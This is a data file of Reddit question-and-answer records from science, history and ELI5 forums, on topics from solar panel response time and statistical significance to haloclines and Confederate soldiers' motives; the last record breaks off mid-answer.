{"q_id": "9qdx9f", "title": "Solar panel reaction time from light to dark?", "selftext": " Does a solar panel's voltage output drop to zero instantly if going from light to complete dark? Here's an example: In a completely dark room there is a 12 inch by 12 inch solar panel and a spotlight that puts out a 12 inch diameter beam of light. The spotlight is aimed directly on the solar panel and then switched on. The solar panel reaches its maximum output for the spotlight. The spotlight is then switched off. Does the solar panel's voltage output instantly drop to zero or does the reaction in the solar panel continue for some time?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9qdx9f/solar_panel_reaction_time_from_light_to_dark/", "answers": {"a_id": ["e88ozs7"], "score": [14], "text": ["It's basically instantaneous.  There will be a slight amount of charge storage due to capacitance in the layers that make up the solar panel, but that should last only a microsecond or so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6r97qz", "title": "what is the difference between physical therapy, physiotherapy, and sports medicine?", "selftext": "I have a back injury and I'm wondering where I should go", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6r97qz/eli5_what_is_the_difference_between_physical/", "answers": {"a_id": ["dl3les1"], "score": [2], "text": ["Physiotherapy is just another word for physical therapy. Sports medicine can do the same as physical therapy and then more stuff focused around athletes, such as improving an athlete's performance. But they as well can help a person recover from injuries. \n\nIf you haven't yet, see how quickly your local doctor or chiropractor can get you in and see what they say. That would be the best place to help, but I would suggest physical therapy if needed. \n\nEdit: spelling "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "l7en4", "title": "How do chromosomal translocations occur and how can they be so stable that they are passed to next generations?", "selftext": "This has literally bothered me since I was five.\n\nLet's take a look at a fruit fly. A fruit fly has four pairs of chromosomes, which is a far cry from the 23 we fare as humans.\n\nSomewhere along the evolutionary tree we probably have a common ancestor, which brings me to question how stable translocations happen in the first place. Every chromosomal transformation I know of tends to mean terrible things for the subject carrying is.\n\nAnd not only that but it would seem to me (though i suspect I may be wrong) that it would require two with this same stable translocation to pass it along to the next generation.\n\nThis doesn't even seem to be something that happens rarely; closer in the family tree we have horses with 32 pairs and even closer we have chimpanzees with 24 pairs.\n\nWhat evolutionary mechanic allows for such a change without calamitous results?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l7en4/how_do_chromosomal_translocations_occur_and_how/", "answers": {"a_id": ["c2qdfkn", "c2qdfkn"], "score": [2, 2], "text": ["there are many mechanisms for a \"stable\" translocation to happen. sometimes a viral infection can cause a specific translocation. for example, burkitt's lymphoma occurs because of a very specific and repeatable translocation brought about by an infection with the epstein-barr virus. this translocation causes the cancer-causing gene to be \"copied and pasted\" right before a gene that codes for antibodies. if an infection like malaria then occurs, then the antibody gene will become heavily expressed, and as a consequence, so does the cancer-causing gene (since it got moved to the region).\n\nlook here for more specifics on this particular disease:\n\n_URL_0_\n\nthis is just an example for how a \"stable\" (as you call it) and \"common\" translocation can occur. sometimes the translocation doesn't cause a disease, or even a change in phenotype (since all the genes are still there, they are just moved). this is just one mechanism, there are probably a lot more, and ill wait for a panelist to address the issue in more detail.", "there are many mechanisms for a \"stable\" translocation to happen. sometimes a viral infection can cause a specific translocation. for example, burkitt's lymphoma occurs because of a very specific and repeatable translocation brought about by an infection with the epstein-barr virus. this translocation causes the cancer-causing gene to be \"copied and pasted\" right before a gene that codes for antibodies. if an infection like malaria then occurs, then the antibody gene will become heavily expressed, and as a consequence, so does the cancer-causing gene (since it got moved to the region).\n\nlook here for more specifics on this particular disease:\n\n_URL_0_\n\nthis is just an example for how a \"stable\" (as you call it) and \"common\" translocation can occur. sometimes the translocation doesn't cause a disease, or even a change in phenotype (since all the genes are still there, they are just moved). this is just one mechanism, there are probably a lot more, and ill wait for a panelist to address the issue in more detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Burkitt%27s_lymphoma"], ["http://en.wikipedia.org/wiki/Burkitt%27s_lymphoma"]]}
{"q_id": "fuop1z", "title": "hello mathematicians, can someone explain to me this article against statistical significance", "selftext": "[Scientists rise up against statistical significance](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fuop1z/eli5_hello_mathematicians_can_someone_explain_to/", "answers": {"a_id": ["fmdzkyb", "fme0vxz", "fme1k1x", "fme1onw"], "score": [4, 17, 5, 4], "text": ["I read about half of it. From my interpretation, it sounds like they are arguing against the idea of drawing conclusions from statistical significance or nonsignficance. For example  normally if I reject a null hypothesis (eg. no correlation between x and y), I'd say something like \"With a p value of 0.01 which is less than alpha of 0.05, we can reject the null hypothesis that there is no correlation between x and y, and conclude there is a correlation.\" I believe they have an issue with that conclusion (or a conclusion that there is no correlation).", "Not a mathematician but I worked with statistics quite a bit. The authors of the commentary are essentially against the blind usage of p < 0.05 (essentially the probability that the results are chance false positives) as the single determining factor in interpreting results (p < 0.05 is statistically significant, p > 0.05 is not statistically significant).\n\nThere's a lot more to interpreting data collected from experiments. Number of subjects, spread of the data above and below the average, design of the experiment itself, how stringent the statistical tests used are, etc should all be used to interpret the results against the hypothesis. To only look at p values and use it dichotomously as a cut off for \"significance\" is irresponsible and makes it easy for the lazy or uninitiated to write off or assign undue importance to experimental results.\n\n\nWhat I read between the lines is: researchers should f*ing learn to use statistics right and note just gun for one tiny, variable piece of it. Since they don't, we should take away their easiest to use, and too often miss-use, toy.\n\n\nSource: did a lot of stats for PhD and taught some of it\n\nedit: readability", "When researchers gather data from an experiment, they conduct statistical tests to see if the difference observed between two condition groups is meaningful or that the probability that the data in the experimental group would be at least as extreme as those observed, if the null hypothesis were true (this is the P value). In other, inaccurate words, it is the probability that the difference you see in the groups is due to random chance and not an underlying effect. These tests generally just look at the distribution of the data, so if you have two groups (mice treated with X drug and mice without), and the average of observed variable Y is 500 in one group and 700 in the other, but the data spreads from 100 to 1000 in the first and from 200 to 1000 in the second, then the difference in the average is probably random. Tests quantify this \"probability.\" \n\nThe issue comes when you do an experiment and you get values like 100 (ranging from 50 to 150) for group X and 200 (ranging from 140 to 220) for group Y, and the test tells you the p-value is 0.06. So there is a 6% chance this difference is due to randomness (again, inaccurate but ELI5). So many scientists then present their data is \"treating with the drug evoked no effect, there was no difference between the groups\" simply because they have the threshold for significance (alpha value) at 5%. Clearly something is going on here, but the data was just a bit too spread out (error in measurement too high for example), so you couldn't get your significance. This is misinformation, and this article is arguing against the use of a dichotomized approach, the YES or NO depending on whether you cross the threshold. \n\nThey argue this is a huge problem especially when a paper claims a drug works for example, and then another says nope, we call bullshit, it doesn't. But when you look at the data, they probably could have reproduced it if they repeated the experiment a number of times more carefully. Then the finding gets categorized as controversial and something that could be useful isn't pursued further. \n\nSome scientists choose to use confidence intervals instead of p-values. A confidence interval is a range around an average value, and if you choose say a 95% CI, then you expect that if you repeat this experiment 100 times, 95 times the average would fall within this range. But they people in the commentary are saying no, this is also not good, because often times the confidence intervals overlap a bit between the two groups, and suddenly it isn't a significant difference. The commentary is arguing that we should continue using p-values and CI intervals and all, but not in the way binary way we do it that is so rigid. They're saying you cannot dismiss a difference just because the p-value doesn't cross your threshold, and you should instead take a more rational and holistic approach by taking in consideration *factors such as background evidence, study design, data quality and understanding of underlying mechanisms are often more important than statistical measures such as P values or intervals.*\n\nTo resolve this, they put forth a suggestion that shifts us away from this binary approach. They say that confidence intervals have been grossly misinterpreted for too long, researchers simply don't understand what they really mean. And so they propose we rename them to compatibility intervals and they explain why this is a good way, but for some reason I can't find a good way to rephrase so I will paste an excerpt from another paper (funny enough, they criticize the label compatibility): \n\n > Nonetheless, all values in a conventional 95% interval can be described as highly compatible with data under the background statistical assumptions, in the very narrow sense of having P > 0.05 under those assumptions. In equivalent terms: given any value in the interval and the background assumptions, the data should not seem very surprising.10 This leads to the intentionally modest term \u201ccompatibility interval\u201d as a replacement for \u201cconfidence interval.\u201d The \u201ccompatibility\u201d label offers no false confidence and no implication of complete uncertainty accounting; instead, it treats the interval as nothing more than an exhibit of relations between the data and various possibilities under the analysis assumptions.\n\nThe commentary also says we should stop reporting things like, treating with drug X increased the expression of Y 2-fold (p < 0.05) and instead saying blah blah then p=0.04321 for example. Give the actual value instead of yes/no. \n\nTL;DR: researchers are biasing their publications by adhering strictly to a binary approach to significance. This sets the stage for many fallacies like claiming a treatment exerts no effect when it actually can (false negatives). This needs to change and we can start by taking confidence intervals more seriously and by renaming them to compatibility intervals to reduce the pervasive and chronic misunderstanding of what they really are. \n\nMy opinion: Cool story bro, while I agree that there is a serious problem, their suggested solution is half-assed and may create more problems in the future. Sometimes in science you introduce a bias into the system for the sake of standardization, and in the end, standardizing how people decide significance even if at the cost of false negatives may actually help science progress better than relying on multiple parameters some of which are judged subjectively. We basically need a better solution, but I acknowledge the problem.", "It's very easy to prove that something exists but it's harder to prove that something does not exist\\*. Many studies show there is a chance there are no differences between groups but they are frequently misinterpreted as proof there is no difference. This might be unintentional (someone misread or disregarded some data) or intentional (sensationalised articled get more attention).\n\n & #x200B;\n\nThe whole argument boils down to this:\n\nA study that has a large enough margin of error for it to not decisively show if there is or is not a difference should not be used to make claims there is no differences.\n\n & #x200B;\n\nWhy the scientific community still embraces those studies:\n\nMany people funding the research are not happy if they spend thousands of dollars and the study boils down to: *\"We have determined it might or might not work\"*.\n\n & #x200B;\n\n\\*To expand on the first sentence:\n\nYou can't prove to me there is no fork circling the Sun on an orbit between Jupiter and Mars right now. Therefore if I were to make a claim there IS a for fork there it's on me to supply the evidence the fork does exist."]}, "title_urls": [], "selftext_urls": ["https://www.nature.com/articles/d41586-019-00857-9?utm_source=fbk_nnc&amp;utm_medium=social&amp;utm_campaign=naturenews&amp;sf209757610=1&amp;fbclid=IwAR1TR6U1MuWZJ5FzdrVhJnYexrU81wjlXwbZofq1SQtjCWdmouxja15SE1Q"], "answers_urls": [[], [], [], []]}
{"q_id": "11najo", "title": "Did 19th century and older chastity belts actually work? Was it common for young women to wear them underneath their clothes or was it something of a marginalized practice?", "selftext": "I know this is a broad question, but I see these things in museums and there's this assumption that they were common and worked.  They seem pretty gimmicky, not to mention unhygienic.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11najo/did_19th_century_and_older_chastity_belts/", "answers": {"a_id": ["c6nyc7q", "c6o1pge"], "score": [190, 36], "text": ["I've never studied this area, but from what I've heard they are by and large a Victorian gimmick, as you suggested. There isn't much evidence at all for metal clothing designed to specifically prevent sex before the 19th century, and what examples we do have seem to be the result of the classical-romantic vogue that spread through Victorian Europe. The idea of chaste courtship and the heroic stories that chastity belts appear in were particularly appealing at this time - they are reproductions of an original that never really existed, and were probably only ever meant to be curios and conversation pieces.", "It's a bit pricy and possibly goes into more detail than you want, but the book [*The Medieval Chastity Belt: A Myth-Making Process*](_URL_0_) argues that the idea of it being widespread in medieval times, at least, was an invention of later centuries. He fairly meticulously traces where it first appeared, how the story got copied from various secondary sources to others (with encyclopedias playing a significant role), etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/The-Medieval-Chastity-Belt-Myth-Making/dp/1403975582"]]}
{"q_id": "12z772", "title": "why can i instantly tell a movie from a tv show or youtube video?", "selftext": "What I mean is that when I see something on a tv screen, I can tell if it is a Hollywood film, or something that is made for television. Each of them have a certain \"feel\" that I just can't quite place. Same with a Youtube video. Why is it so easy to recognize? Is it the quality of cameras being used? Is it the angles and lighting? Is this intentional?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/12z772/why_can_i_instantly_tell_a_movie_from_a_tv_show/", "answers": {"a_id": ["c6zdk3z", "c6zdssh", "c6zgqpv", "c6zhokf", "c6znh07"], "score": [19, 8, 13, 4, 2], "text": ["They're all shot at a different rate of frames per second.", "Most movies are shot at 24fps and wide, they are blurry/soft.  Other shows are shot on cameras with higher framerates, they don't have the movie 'softness' that you are used to.  That's how you are able to tell.\n\nThis is of course in addition to the budgets - the lighting and angles get a lot more attention on a movie set as opposed to youtube/TV shows.", "Everyone is saying frame rate - and that's fine. Others can mention resolution as well - and that's a valid reason.\n\nHowever, no one has mentioned one key thing though: _production value_. Is the camera shaky, therefore not using a trolley? Is there cinematography - that is, artistic shots? Is the scene illuminated with flood lights? Furthermore, is there post-processing? Many movies now change the [colour temperature](_URL_1_) to match the tone. [For more information](_URL_0_).\n\nSo everything you mention comes into play.", "Game of Thrones does not apply", "It could also be the colour-grading that's used. Ever wonder why the \"behind the scenes\" footage looks crappy, and then the finished product looks amazing? Someone went through and essentially coloured in the images. TV shows are done on tighter budgets and shorter schedules, so the quality can sometimes suffer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.cracked.com/article_18664_5-annoying-trends-that-make-every-movie-look-same.html", "http://en.wikipedia.org/wiki/Color_temperature"], [], []]}
{"q_id": "65tp6u", "title": "why words like \"invaluable\" and \"valuable\" and synonyms but not \"destructible\" and \"indestructible\"?", "selftext": "Edit: I just realized there is \"and\" instead of \"are\" before the word synonyms.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65tp6u/eli5_why_words_like_invaluable_and_valuable_and/", "answers": {"a_id": ["dgd593d", "dgd5abi", "dgd6kdc"], "score": [20, 4, 5], "text": ["invaluable means \"cannot be valued\" meaning just like indestructible means \"cannot be destroyed.\" Colloquially, when we say something can't be valued we mean the thing is so important that you literally can't conceive of a finite value you could assign to it.", "Invaluable implies that you can't place a value on it, so it's more synonymous with priceless. ", "Invaluable means that a value cannot be given something. Valuable means that a value can be given to something. They are not synonyms as you claim. \n\nDestructible means something can be destroyed. Indestructible means it cannot be destroyed. Also not synonyms. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2pvxr1", "title": "the humpty dumpty song never said he was an egg, then what the hell were the kings men trying to put together again?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pvxr1/eli5_the_humpty_dumpty_song_never_said_he_was_an/", "answers": {"a_id": ["cn0h24u", "cn0h7v8", "cn0i1y6", "cn0jckz", "cn0jqif"], "score": [76, 27, 38, 11, 9], "text": ["I can't remember the exact story, but 'Humpty Dumpty' was a cannon which fell from a height and broke.\n\nEdit: [A link](_URL_0_)\n", "And how the hell did all the king's horses help in that situtation? Horses have thumbs and fingers back then?", "Hungry Dumpty was the name of a cannon which fell off of Colchester castle ", "[This was literally posted 2 weeks ago in this sub](_URL_0_)", "I thought it was originally in the form of a riddle: what is an object, once broken, that can never be put back together by any earthly power (metaphorically, \"all the king's horses and all the king's men\"). Guess what is this object?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://knowledgenuts.com/2014/01/08/humpty-dumpty-was-a-cannon-not-an-egg/"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/2of71x/eli5_why_is_humpty_dumpty_often_times_depicted_as/"], []]}
{"q_id": "dd5oab", "title": "why do biscuits crumble faster in hot tea than cold tea?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dd5oab/eli5_why_do_biscuits_crumble_faster_in_hot_tea/", "answers": {"a_id": ["f2e8e7g"], "score": [5], "text": ["biscuits contain a lot of fat, usually in the form of the butter used to make it. In hot tea, the fat dissolves a lot quicker than in cold tea. Therefore the biscuits crumbles a lot quicker."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pjofv", "title": "Where two oceans meet - is this real?", "selftext": "[I saw this posted on Facebook earlier today](_URL_0_) with the following description:\n\n > Where two oceans meet... but do not mix! INCREDIBLE AND SIMPLY MIND-BLOWING!!!\n > These two bodies of water were merging in the middle of The Gulf of Alaska and there was a foam developing only at their junction. It is a result of the melting glaciers being composed of fresh water and the ocean has a higher percentage of salt causing the two bodies of water to have different densities and therefore makes it more difficult to mix.\n\nTo me, it doesn't make sense for two bodies of water to refract light so differently - regardless of salt content. I'd have thought the more likely explanation would be that there is a sudden drop in the ocean floor below. Am I correct in thinking so? Or is this phenomenon real? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pjofv/where_two_oceans_meet_is_this_real/", "answers": {"a_id": ["c3pvzsi", "c3pw0fw", "c3pw4mo", "c3pxopl", "c3pxyh8", "c3q1w6w", "c3q2808"], "score": [4, 13, 78, 19, 7, 4, 5], "text": ["This looks more like the tideline of when freshwater meets saltwater.  Like the Mississippi for [example](_URL_0_)\n\n", " >  I'd have thought the more likely explanation would be that there is a sudden drop in the ocean floor below.\n\nIf a difference in height in ocean floor accounts for the different colours, how do you explain the foam that forms right at the interface?\n\n >  Or is this phenomenon real?\n\nIt is very real. See [this](_URL_1_), [this](_URL_2_), and [this](_URL_0_)", "So we can start with the first bit: The segregation of bodies of water that have a high property contrast (as claimed by the image) definitely occurs in nature. It will always happen at some point below the surface, at 100-200 m (hence why it is usually pretty tricky for the upper ocean to mix with the deep ocean) but sometimes these layers shoal and are visible on the surface. I haven't looked at the Gulf of Alaska specifically, but a particularly famous transition is the [Antarctic Convergence](_URL_0_). It doesn't look like much, so alone it doesn't explain your photo. For your information, these boundaries are suffixed \"-cline\" and are prefixed with whatever property you're talking about. So it's \"thermocline\" for a sudden temperature gradient and \"halocline\" for the theoretical salinity gradient you're talking about here.\n\nNow, I can't speak to the different refractive effects of salinity, so I don't know whether that could cause the different colors. However, I do know that different amounts of sediment concentration in water do change the color dramatically, and the halocline would keep these bodies of water segregated. Glaciers on land usually have a good amount of sediment that they've accumulated from scraping along the bedrock, so it's certainly possible that this image is the result of 1) a halocline resulting from the fresh glacier meltwater keeping the bodies of water separated and 2) a high sediment concentration in the glacier water.\n\nCould it be fake? Well, yes, but it's at least scientifically plausible! Source: undergraduate oceanography research.", "A famous example I've visited: the [confluence of the Amazon and Rio Negro](_URL_0_) near Manaus, Brazil.  They run side by side like that for about 5 miles.", " >  To me, it doesn't make sense for two bodies of water to refract light so differently \n\nBut it's true. Salt water has different optical properties than fresh water does. I can verify this effect from direct experience -- I regularly kayak around in Alaska, mostly in salt water, and I sometimes pass by a river outlet. Because of the location, I can paddle from salt to fresh water in a distance of ten meters, and the optical effects are unmistakable, mostly a confused pattern that interferes with the normal optical transparency of the water.\n\nThe technical name for a salt/fresh mixing region is [\"halocline\"](_URL_1_), and it's [hard to miss](_URL_0_).\n\nEDIT: I just looked at the picture accompanying the link, and that is actually a mixture of river-carried glacial melt (left) and open-ocean water (right). I know where the picture was taken and have seen that exact thing from my boat. But it's less a picture of salt-fresh mixing and more a picture of glacial-till-bearing water mixing with open-ocean water. Both effects are present, but the optical difference is not what produces the color difference.\n", "You can have this effect in river plumes.  Some tidally driven estuaries release a pulse of fresh water during ebb tide.  This fresh water is less dense than the ocean water so it forms a thin layer on top of the sea water.  At the front of the plume there is a convergence where the fresh water and ocean water both get driven down.  Typically, floating debris and foam form in a line along the convergence.  \n\nThe river water usually contains sediment and is therefore darker than the ocean water making the effect more pronounced.  So what is described does actually happen at some river mouths.  The convergence is so strong that an unpowered small boat will get caught in it and pushed along.  My masters thesis is on the turbulence that these plumes generate.", "[Here is a similar transition where the Rio Negro meets the rest of the Amazon.](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/2RQAx.jpg"], "answers_urls": [["http://www.themaritimesite.com/mississippi-river-tide-line-pushes-further-offshore/"], ["http://lasagec2.univ-pau.fr/live/digitalAssets/93/93961_Tidal_front_1.png", "http://www.sciencephoto.com/media/166005/enlarge", "http://www.nwfsc.noaa.gov/research/divisions/fed/images/ocean_river.jpg"], ["http://en.wikipedia.org/wiki/Antarctic_Convergence"], ["https://www.google.com/search?q=amazon+river+convergence&amp;hl=en&amp;client=ubuntu&amp;hs=ohy&amp;channel=fs&amp;prmd=imvns&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=y4U1T67IIMSgiQLW6cHFCg&amp;ved=0CDkQsAQ&amp;biw=1067&amp;bih=623#hl=en&amp;client=ubuntu&amp;hs=LNJ&amp;channel=fs&amp;tbm=isch&amp;sa=1&amp;q=amazon+rio+negro&amp;pbx=1&amp;oq=amazon+rio+negro&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=3&amp;gs_upl=44945l47454l0l47607l26l16l1l5l5l6l349l2307l0.6.2.2l10l0&amp;bav=on.2,or.r_gc.r_pw.,cf.osb&amp;fp=d12c39749158b4aa&amp;biw=1067&amp;bih=623"], ["http://www.youtube.com/watch?v=rS5Ak_KVDGE", "http://en.wikipedia.org/wiki/Halocline"], [], ["https://upload.wikimedia.org/wikipedia/commons/5/5d/Manaus_Encontro_das_aguas_10_2006_103_8x6.jpg"]]}
{"q_id": "9l572q", "title": "why are some children/adults more disrespectful to parents who spoil them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9l572q/eli5_why_are_some_childrenadults_more/", "answers": {"a_id": ["e742vmw", "e743o19", "e745nh6", "e746ujo", "e7478fg", "e748lfr"], "score": [21, 173, 29, 10, 5, 3], "text": ["Because spoiling them usually includes not ever correcting or having consequences for disrespectful behavior. If there never are any consequences there's no reason to stop the behavior. ", "A kid throws a tantrum because he's tired of being outside. The parent gives him a lollipop to calm him down.\n\nThe kid realizes throw tantrum = receive reward.\n\nThe next time they go out, the kid throws a tantrum because he knows he will get a reward. The parent gives him a lollipop but it's not enough! He really wants the new toy his friends have and becomes louder! The parent submits and buys him the toy.\n\nThe kid realizes bigger tantrums = more rewards.\n\nWhen someone is rewarded for being bad, don't be surprised if they act bad all the time.", "Children are extremely curious, and are willing to try everything trying to figure out the \"rules\" for life. When parents give to their child, and don't teach the child to be thankful, the child never learns what is socially acceptable/unacceptable. Eventually, this causes the child to think that the parents spoiling them is the expected behavior. When the parents unable/incapable of continuing to give, there is a dissonance between expectation and reality, which leads to child becoming confused and lashing out.", "Children crave consistancy, predictable boundaries with predictable outcomes.    Parents that \"spoil\" their children tend to not be consistent with the rules.   You're not supposed to do X behavior, but today they don't feel like dealing with it so they will let it slide.    Or they will give in after a fit is thrown because they are embarrassed.    Other days they will try to come down hard for the same infraction.    The kids learn they can manipulate their parents and they treat them disrespectfully because they in fact have little to no actual respect for them.", "The human brain (of children especially) always wants to know it\u2019s limits. So they push boundaries, in respect to discipline. If there is no corrections giving by the parents then they will always push a little bit further until they get to the limit", "Children are opportunists. I used to be a day school teacher and parents would be amazed that the children would put themselves to sleep or eat a lunch that \u201cthey don\u2019t like\u201d. They will test every limit but in the end realize that they will still have to take a nap without being rocked to sleep and if they don\u2019t eat the food they will be hungry. So in that situation the more well behaved he/she is the more rewards/funtimes :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "37491m", "title": "what is google bombing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37491m/eli5_what_is_google_bombing/", "answers": {"a_id": ["crjkmv5"], "score": [15], "text": ["Google isn't \"smart\", it just guesses what words mean by how often they're related to other words.\n\nGoogle bombing is the practice of constantly linking to something with unexpected words, convincing Google that the two things are related.  Let's say you get a bunch of people to post links to Johnny Depp's Wikipedia page using the phrase \"ugly jerk\".  Eventually, searching for \"ugly jerk\" will turn up links about Johnny Depp.\n\n...and then the media finds out, everyone has a laugh  &  Google manually fixes the search results so it doesn't happen anymore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22z6p0", "title": "fb paid $16b in stock to acquire whatsapp. where did these shares come from?", "selftext": "Why not pay cash? Why didn't they sell these shares and generate cash to complete the purchase? Who was the previous owner of these shares? What is the benefit to accepting stock instead of cash for WhatsApp?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22z6p0/eli5_fb_paid_16b_in_stock_to_acquire_whatsapp/", "answers": {"a_id": ["cgrv0je", "cgrvtye"], "score": [2, 16], "text": ["The actual reason that deals like this are typically stock acquisitions instead of cash is that all stock deals are generally non-taxable unless you have a Section 338 IRS election while cash deals are taxed. ", " > Why not pay cash?\n\nFB didn't have $16B in cash. As of 12/31/13 they only had $2.3 billion in cash and $7.2 billion in short-term investments (which can be sold for cash in a reasonably short amount of time).\n\n > Who was the previous owner of these shares?\n\nThe company can either give the Whatsapp owners FB shares out of \"treasury stock\" which constitutes shares previously sold on the market that the company (FB) has bought back or it can simply issue new shares. Given that FB has no treasury stock, it will just issue new shares, so in that sense, there was no specific previous owners of the shares that will go to Whatsapp owners. \n\n > What is the benefit to accepting stock instead of cash for WhatsApp?\n\nThe benefit to WhatsApp is that, assuming Facebook's future prospects are favorable, Facebook's stock price will hopefully increase to the extent that the two companies' products create more value together than the sum value of each standalone product. When/if Facebook's stock price increases as a result of these now merged companies working better together, WhatsApp's previous owners will benefit.\n\nFor Facebook, another benefit of using stock instead of cash is that the fortunes of both companies become more closely entwined, and hence, now the owners of WhatsApp will be motivated to help Facebook succeed since they have skin in the game (that is, if FB tanks, so does all the value of the stock owned by WhatsApp's previous owners). \n\nSource: I'm an Accounting PhD student."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "67fvaf", "title": "Was the average Confederate soldier a strong proponent of white supremacy?", "selftext": "I often hear people say that the people who fought for the Confederacy were just poor farmers only trying  to preserve their way of life. I usually see this statement made as a reason to honor Confederate soldiers in modern times. Is there any proof that the average Confederate soldier supported the racist anti-black rhetoric pushed by Confederate leadership? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/67fvaf/was_the_average_confederate_soldier_a_strong/", "answers": {"a_id": ["dgq8tn2"], "score": [680], "text": ["[Borrowing and expanding slightly on a previous answer of mine](_URL_1_):\n\n'Combat motivation' for the typical \"Johnny Reb\" is complex, but yes, we can say with confidence that the \"way of life\" that a poor farmer was attempting to preserve included as part of it racial hierarchy with whites on top and blacks at the bottom. When speaking about Southern society in the Antebellum period, what is important to understand is that the South was *not* simply a society in which people owned slaves, but rather it was a *slave society*. I hope that the difference is appreciable, but to make it clear, what I mean to say is that slavery permeated it at every level, from the richest of plantation owners with hundreds of slaves working their fields, to the lowliest backwoods 'cracker' barely scraping sustenance from their small patch of dirt. I'm incredibly fond of this quote from Bertram Wyatt-Brown in describing what a slave society means, as it also will be of the utmost importance in the next point:\n\n > Policing one's own ethical sphere was the natural complement of the patriarchal order. When Southerners spoke of liberty, they generally meant the birthright to self-determination of one's place in society, not the freedom to defy sacred conventions, challenge longheld assumptions, or propose another scheme of moral or political order. If someone, especially a slave, spoke or acted in a way that invaded that territory or challenged that right, the white man so confronted had the inalienable right to meet the lie and punish the opponent. Without such a concept of white liberty, slavery would have scarcely lasted a moment. There was little paradox or irony in this juxtaposition from the cultural perspective. Power, liberty, and honor were all based upon community sanction, law, and traditional hierarchy as described in the opening section.\n\nThe point is, the slave was a *foil*, of sorts, something which any whiteman could hold himself up against, and in fact, in many ways it was the *non*-slave owning whites who felt invested in the system. Not only was \"slave owner\" something to which a poor whiteman could aspire to, but the slaves provided him with someone who, no matter how low he might sink, he still could look down upon. The thought of a blackman outranking him would be an abhorrent thought to a poor white man. One very interesting aspect which Wyatt-Brown talks about in \"Southern Honor\" is the slave patrols, which would generally be made up of lowerclass whites, and led by *slightly* better off Yeoman farmers, and often found themselves in conflict with slaveowners, especially those who were seen as too lenient and lacking in discipline. The men of the slave patrol had a vested interest in ensuring the blacks remained the lowest rung of society, and they felt threatened by masters who, to quote one incident \"upheld his negroes in their rascality\" - in this case didn't whip one of his slaves enough for a perceived transgression.\n\nThe fear of a post-slavery society was a terrifying prospect, and one which was played upon heavily in the bid to 'sell' secession. The best example of this comes from the Southern Commissioners, men who were sent by the earliest states to secede to other slave states then 'on the fence' in an effort to sway them. In their speeches and correspondence, they make ample reference to the basest of fears of what free blacks, unfettered from the institution of slavery by Northern abolitionists, will unleash. They don't only speak to the possibility of black persons  negatively affecting the labor market at the expense of poor whites, or of the 'negroes' elevating themselves above whitemen, \"the slaveholder and nonslaveholder sharing the same fate; all be degraded to a position of equality with free negroes\", a prospect that was bad enough, but speak of whitemen being murdered in their sleep, \"*wives and daughters [subjected] to pollution and violation to gratify the lusts of half-civilized Africans*\", and in the end, an \"*eternal war of races, desolating the land with blood, and utterly wasting and destroying all the resources of the countr*\". \n\nSo the point is that slavery, and the desire to protect it, was far more than simply about the economic interests of the planter class with their plantations, or the small farmer who could best afford one or two. The very structure of Southern society was in too many ways focused around slavery, and what it meant to be free, to be white, to be a *man*, were all set up in explicit opposition to the enslaved blacks. To be sure, we can find an unending parade of Southerners, both slaveowner (roughly 1/3 of Southern soldiers came from slaveowning families) and nonslaveowner  (roughly 2/3 of Southern soldiers came from nonslaveowning families) alike, who echo the sentiments of one Kentuckian in his desire to emulate Washington in \"*bursting the bonds of tyranny*\" or a Texan enlisted man who wrote home that \"*Liberty and freedom in this western world [...] so we dissolved our alliance with this oppressive foe and are now enlisted in 'The Holy Cause of Liberty and Independence' again*\" . If I had the time or inclination I could find thousands of those, as we have no shortage of letters and diaries preserved from this period, but we must return to Wyatt-Brown above in understanding what *Liberty* meant to a Southerner. To them *Liberty* was a very different concept than what it is to us today. *Liberty* was part of slave society, and defined by slave society. They were going to war in the name of *Liberty*, but that *Liberty* was not only the *Liberty* to own slaves, which many of them could only aspire to, but to define oneself in opposition to a slave, which was available to every white man.\n\nTo be sure, not all necessarily expressed themselves in such 'high-falutin' terms - and we can find our fair share of grumblings that \"*this is a Rich mans Woar But the poor man has to doo the fiting*\". In his study of letters and diaries, James M. McPherson notes that patriotic and ideological sentiments were more common with soldiers from slaveowning families, or from states with high slave populations (he notes the most interesting difference being \"82 percent from South 